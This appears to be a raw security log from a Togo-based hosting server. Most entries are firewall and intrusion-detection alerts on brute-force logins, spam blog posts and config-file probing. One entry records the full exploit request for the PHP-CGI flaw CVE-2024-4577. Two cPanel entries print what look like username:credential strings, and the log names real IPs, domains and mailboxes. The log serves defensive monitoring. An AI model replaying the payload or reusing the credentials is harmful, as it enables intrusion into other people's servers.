205.169.39.24 - - [09/Jun/2026:04:51:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13198231&pdata=http%253A%252F%252Fl4u8i0.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780980671 HTTP/1.1" 302 0 l4u8i0.mediatopnews.tg "http://l4u8i0.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.24


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.169
country_id: 2635167
description:
[2026-06-09 04:56:00 +0000] info [cpaneld] 5.230.153.169 NEW mgvybwur:g39ZJoARTR8IBOYa address=5.230.153.169,app=cpaneld,creator=mgvybwur,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 216.189.152.178
country_id: 6252001
domain: fundacionesperanzatogo.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/mgvybwur/public_html/.463361100293822.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-09 05:00:07 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:37588: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.179
country_id: 2635167
description:
[2026-06-09 05:00:24 +0000] info [cpaneld] 5.230.153.179 NEW iwtfuxpj:dLSlDHBObAlaHHSz address=5.230.153.179,app=cpaneld,creator=iwtfuxpj,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.7
country_id: 6252001
description:
205.169.39.7 - - [09/Jun/2026:05:02:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13067369&pdata=http%253A%252F%252Fin.crepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780981337 HTTP/1.1" 302 0 in.crepsad.tg "http://in.crepsad.tg/" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.7


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.24
country_id: 6252001
description:
205.169.39.24 - - [09/Jun/2026:05:02:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7170505&pdata=http%253A%252F%252Fin.crepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780981345 HTTP/1.1" 302 0 in.crepsad.tg "http://in.crepsad.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.24


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.75.244.94
country_id: 2542007
description:
Jun  9 05:02:34 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.75.244.94 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.75.244.94
country_id: 2542007
description:
2026-06-09 05:02:36 dovecot_plain authenticator failed for H=(9mnxn7nv1fphi5zns) [196.75.244.94]:52671: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.57
country_id: 6252001
description:
205.169.39.57 - - [09/Jun/2026:05:02:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9724823&pdata=https%253A%252F%252Fin.crepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780981369 HTTP/2.0" 302 0 in.crepsad.tg "https://in.crepsad.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.57


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.134.56.77
country_id: 1880251
description:
43.134.56.77 - - [09/Jun/2026:05:04:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9946779&pdata=https%253A%252F%252Flaunetogo.tg%252Faeroport-de-lome-la-salt-lance-la-3eme-semaine-de-la-securite-pour-des-vols-plus-surs%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780981476 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/aeroport-de-lome-la-salt-lance-la-3eme-semaine-de-la-securite-pour-des-vols-plus-surs/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.134.56.77


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 217.165.238.124
country_id: 290557
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c1688620b620c6b4d5e3f5cdf9ca97186bfa0478||Title:2ycej43bub93f7v7d||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 217.165.238.124
country_id: 290557
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bf01c4ba76786509b1dab6c09973bbd66e214c13||Title:opyq0qsldmp6nks5xb||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Secure Your Incredible Member Extra eropolik.blogspot.gr qL||Email:Officialme.info@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:05-06.146.19.125.71||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 217.165.238.124
country_id: 290557
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b58aac2ffedfed577627b9451de5e3d3d82a6636||Title:cvx4vtvwgp1oxrxmd||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.197.195.94
country_id: 3469034
description:
[2026-06-09 05:08:46 +0000] info [cpaneld] 168.197.195.94 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 27.34.68.17
country_id: 1282988
description:
[2026-06-09 05:08:54 +0000] info [cpaneld] 27.34.68.17 - devbasetg "GET /login/?login_only=1&user=devbasetg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user devbasetg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.217.69.234
country_id: 3658394
description:
[2026-06-09 05:08:58 +0000] info [cpaneld] 201.217.69.234 - devbas "GET /login/?login_only=1&user=devbas&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user devbas (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 27.34.71.87
country_id: 1282988
description:
[2026-06-09 05:09:01 +0000] info [cpaneld] 27.34.71.87 - devba "GET /login/?login_only=1&user=devba&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user devba (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.175.199.69
country_id: 2017370
description:
[2026-06-09 05:08:41 +0000] info [cpaneld] 85.175.199.69 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.6.200.62
country_id: 6252001
description:
[2026-06-09 05:09:04 +0000] info [cpaneld] 108.6.200.62 - devb "GET /login/?login_only=1&user=devb&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user devb (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.10.16.200
country_id: 298795
description:
[2026-06-09 05:09:07 +0000] info [cpaneld] 95.10.16.200 - dev "GET /login/?login_only=1&user=dev&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dev (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.234.81.49
country_id: 3469034
description:
[2026-06-09 05:09:10 +0000] info [cpaneld] 45.234.81.49 - de "GET /login/?login_only=1&user=de&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user de (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 217.165.238.124
country_id: 290557
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d69ec86e3bd2a254fe669101b2261af7b2ace2c4||Title:053clqceroeje56po||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.184.108.64
country_id: 953987
domain: cfpj.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cfpj.tg/site/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.184.108.64
country_id: 953987
domain: cfpj.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cfpj.tghttp/cfpj.tg/site/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.255.8.116
country_id: 2623032
description:
Jun  9 05:09:58 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.255.8.116 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 217.165.238.124
country_id: 290557
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fa5884e1ff38a89927543ef9f0fdebdaa3384738||Title:6c2glh53vy5a8f||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.3.54.202
country_id: 2635167
description:
[2026-06-09 05:10:38 +0000] info [cpaneld] 45.3.54.202 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.255.8.116
country_id: 2623032
description:
Jun  9 05:10:11 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.255.8.116 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 217.165.238.124
country_id: 290557
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:efa338906c11b2e5826bd31d2f82e66730ab286c||Title:1zmrcu11yjisoo6xl||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 217.165.238.124
country_id: 290557
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:92343f460d01ae6873ae712743dfec86a28ec833||Title:krbv3m0xe3au4ztrkh||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 146.190.126.213
country_id: 6252001
description:
Jun  9 05:11:37 ns5 pure-ftpd[409151]: (?@146.190.126.213) [INFO] New connection from 146.190.126.213


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 146.190.126.213
country_id: 6252001
description:
Jun  9 05:11:43 ns5 pure-ftpd[409151]: (?@146.190.126.213) [WARNING] Authentication failed for user [direct7]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 217.165.238.124
country_id: 290557
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b6f437b0dc32438f7dff89a1fd6d3ae5bc7a0a47||Title:n98upb46jlg7k3||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 217.165.238.124
country_id: 290557
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8f80b8ad0bca0f9288a59952a9a3d90c36ed9b2a||Title:x7pesgsft3l428||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [09/Jun/2026:05:13:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9989783&pdata=https%253A%252F%252Fcrepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780982024 HTTP/2.0" 404 561 crepsad.tg "https://crepsad.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [09/Jun/2026:05:13:52 +0000] "GET /favicon.ico HTTP/2.0" 415 587 crepsad.tg "https://crepsad.tg/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9989783&pdata=https%253A%252F%252Fcrepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780982024" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 217.165.238.124
country_id: 290557
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b72e109147551d737e22f6341ff1fd0130fbe7f5||Title:w6jt55twemqtu1ya7x||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.67.76.190
country_id: 3469034
description:
Jun  9 05:15:06 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.67.76.190 has been locked due to Imunify RBL


plugin: modsec
rule: 77896900
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 65.111.11.222
country_id: 6252001
domain: misstogo.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wpadminerlzp||User:tgmisefred||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.67.76.190
country_id: 3469034
description:
Jun  9 05:15:14 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.67.76.190 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 217.165.238.124
country_id: 290557
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:74b0b5c891f0d289ec75b74804aff6c3e57add54||Title:gk3mrhtbfxoletj||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 65.111.20.37
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:trumpweiss||User:tgmisefred||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 217.165.238.124
country_id: 290557
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9b0b257f021ea7ddb5f6ac970f04b3a0f0fd96a5||Title:4mkuofk9rgupwe||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 217.165.238.124
country_id: 290557
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7e43289ff41eeb73019a24003e1a908b10733595||Title:km1abz3cfb1u2d||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 217.165.238.124
country_id: 290557
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5776d6cb19feb2641dca5dfb6d9a3572941f8cb1||Title:3ehvadosavdzn4r||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 217.165.238.124
country_id: 290557
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:00d5b322066e88081b4364922315f5daeda7c830||Title:wbvifkb18whz5e||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 209.50.168.108
country_id: 6252001
domain: misstogo.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wadminw@wordpress.com||User:tgmisefred||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 216.26.249.57
country_id: 3175395
domain: misstogo.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:yanz@123457||User:tgmisefred||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 150.109.109.193
country_id: 1819730
description:
150.109.109.193 - - [09/Jun/2026:05:21:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7118789&pdata=https%253A%252F%252F24heureinfo.tg%252Fcedeao%252Fmali-la-cedeao-toujours-intraitable-avec-la-junte-militaire%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780982459 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/cedeao/mali-la-cedeao-toujours-intraitable-avec-la-junte-militaire/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:150.109.109.193


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.153.138
country_id: 1819730
description:
2026-06-09 05:23:52 dovecot_login authenticator failed for H=(223-197-153-138.static.imsbiz.com) [223.197.153.138]:54758: 535 Incorrect authentication data (set_id=hr@togosem.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 93.123.109.165
country_id: 732800
domain: centif.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/dump.sql||User:centif||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 174.58.87.108
country_id: 6252001
description:
Jun  9 05:24:51 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 174.58.87.108 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.159.82
country_id: 1269750
description:
2026-06-09 05:21:46 dovecot_login authenticator failed for H=([89.218.247.234]) [182.78.159.82]:39578: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 69.172.79.198
country_id: 1819730
description:
Jun  9 05:24:02 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 69.172.79.198 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.186.54.65
country_id: 298795
description:
2026-06-09 05:21:23 dovecot_login authenticator failed for H=([182.95.232.66]) [78.186.54.65]:55714: 535 Incorrect authentication data (set_id=admin@soena.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun  9 05:25:18 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.87.13
country_id: 1512440
description:
2026-06-09 05:22:06 H=([213.230.87.13]) [213.230.87.13]:23646 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 93.123.109.165
country_id: 732800
domain: CENTIF.TG
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/backup.sql||User:centif||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.197.153.138
country_id: 1819730
description:
Jun  9 05:23:50 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.197.153.138 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 217.165.238.124
country_id: 290557
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4d100992292cece0387440765b4b6e9343bf2383||Title:1rawqy331marb3d||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-09 05:25:20 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:15209: 535 Incorrect authentication data (set_id=access)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.78.159.82
country_id: 1269750
description:
Jun  9 05:21:44 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.78.159.82 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.172.79.198
country_id: 1819730
description:
2026-06-09 05:24:04 dovecot_login authenticator failed for H=69-172-79-198.static.imsbiz.com (173-248-234-145.static.imsbiz.com) [69.172.79.198]:62742: 535 Incorrect authentication data (set_id=hr)


plugin: modsec
rule: 77350212
name: IM360 WAF: Information Disclosure Attempt in WordPress
abuser: 93.123.109.165
country_id: 732800
domain: centif.tg
description:
IM360 WAF: Information Disclosure Attempt in WordPress||MV:/wp-config.php.bak||RSV:8.15||T:APACHE||REQUEST_URI:/wp-config.php.bak||


plugin: modsec
rule: 77218420
name: IM360 WAF: PHP Injection Attack: I/O Stream Found
abuser: 93.123.109.165
country_id: 732800
domain: centif.tg
description:
IM360 WAF: PHP Injection Attack: I/O Stream Found||MVN:MATCHED_VAR||MV:\xadd cgi.force_redirect=0 \xadd cgi.redirect_status_env \xadd allow_url_include=1 \xadd auto_prepend_file=php://input||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 198.23.185.222
country_id: 6252001
description:
[2026-06-09 05:23:35 +0000] info [whostmgrd] 198.23.185.222 - root "GET /cpsess8524944400/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77625153
name: IM360 WAF:Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)
abuser: 93.123.109.165
country_id: 732800
domain: centif.tg
description:
IM360 WAF:Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)||Action:||MV:\xadd cgi.force_redirect=0 \xadd cgi.redirect_status_env \xadd allow_url_include=1 \xadd auto_prepend_file=php://input||MVN:MATCHED_VAR||WPU:||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 93.123.109.165
country_id: 732800
domain: centif.tg
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:8.15||T:APACHE||SC:/home/centif/public_html/cgi-bin||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.186.54.65
country_id: 298795
description:
Jun  9 05:21:21 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.186.54.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.175.7.57
country_id: 2510769
description:
2026-06-09 05:22:54 dovecot_login authenticator failed for H=57.7.175.34.bc.googleusercontent.com (10.204.0.2) [34.175.7.57]:61105: 535 Incorrect authentication data (set_id=netmaster@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.58.87.108
country_id: 6252001
description:
2026-06-09 05:24:53 dovecot_plain authenticator failed for H=c-174-58-87-108.hsd1.fl.comcast.net (entel) [174.58.87.108]:38044: 535 Incorrect authentication data (set_id=admin@zephyr.tg)


plugin: modsec
rule: 77350496
name: IM360 WAF: RCE through argument injection in PHP CGI (CVE-2024-4577)
abuser: 93.123.109.165
country_id: 732800
domain: centif.tg
description:
IM360 WAF: RCE through argument injection in PHP CGI (CVE-2024-4577)||URI:/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 93.123.109.165
country_id: 732800
domain: centif.tg
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.15||T:APACHE||MV:wp-config.php~||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 198.23.185.222
country_id: 6252001
description:
[2026-06-09 05:23:34 +0000] info [whostmgrd] 198.23.185.222 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.87.13
country_id: 1512440
description:
2026-06-09 05:27:39 H=([213.230.87.13]) [213.230.87.13]:56192 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.87.13
country_id: 1512440
description:
2026-06-09 05:30:05 H=([213.230.87.13]) [213.230.87.13]:61244 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.78.139.54
country_id: 1512440
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/50.jpeg HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
